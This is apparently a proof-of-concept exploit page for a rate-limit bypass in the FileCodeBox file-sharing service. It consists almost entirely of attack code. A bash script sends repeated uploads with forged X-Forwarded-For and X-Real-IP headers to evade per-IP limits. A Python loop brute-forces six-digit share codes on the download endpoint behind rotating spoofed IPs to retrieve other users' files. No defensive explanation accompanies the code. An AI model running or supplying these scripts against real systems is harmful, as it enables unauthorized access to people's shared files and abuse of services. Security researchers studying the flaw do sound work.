CVE-2025-51663 FileCodeBox IPRateLimit IP伪造绕过漏洞

#!/bin/bash # CVE-2025-51663 PoC - IP Spoofing to Bypass Rate Limiting # Usage: ./poc.sh <target_url> <target_path> TARGET_URL="$1" TARGET_PATH="${2:-/api/upload}" FAKE_IP_PREFIX="1.2.3." for i in {1..100}; do RANDOM_IP="${FAKE_IP_PREFIX}$((i % 255))" curl -X POST "${TARGET_URL}${TARGET_PATH}" \ -H "X-Forwarded-For: ${RANDOM_IP}" \ -H "X-Real-IP: ${RANDOM_IP}" \ -H "User-Agent: Mozilla/5.0" \ -F "[email protected]" \ -s -o /dev/null -w "IP: ${RANDOM_IP} - HTTP %{http_code}\n" done echo "Rate limit bypass attempt completed" # Python PoC for brute-forcing share codes ''' import requests import random target = "http://target.com" share_code_url = f"{target}/api/download" headers_templates = [ {"X-Forwarded-For": f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"}, {"X-Real-IP": f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"} ] for code in range(100000, 999999): headers = random.choice(headers_templates) try: response = requests.get(f"{share_code_url}/{code}", headers=headers, timeout=5) if response.status_code == 200: print(f"Valid share code found: {code}") break except: continue '''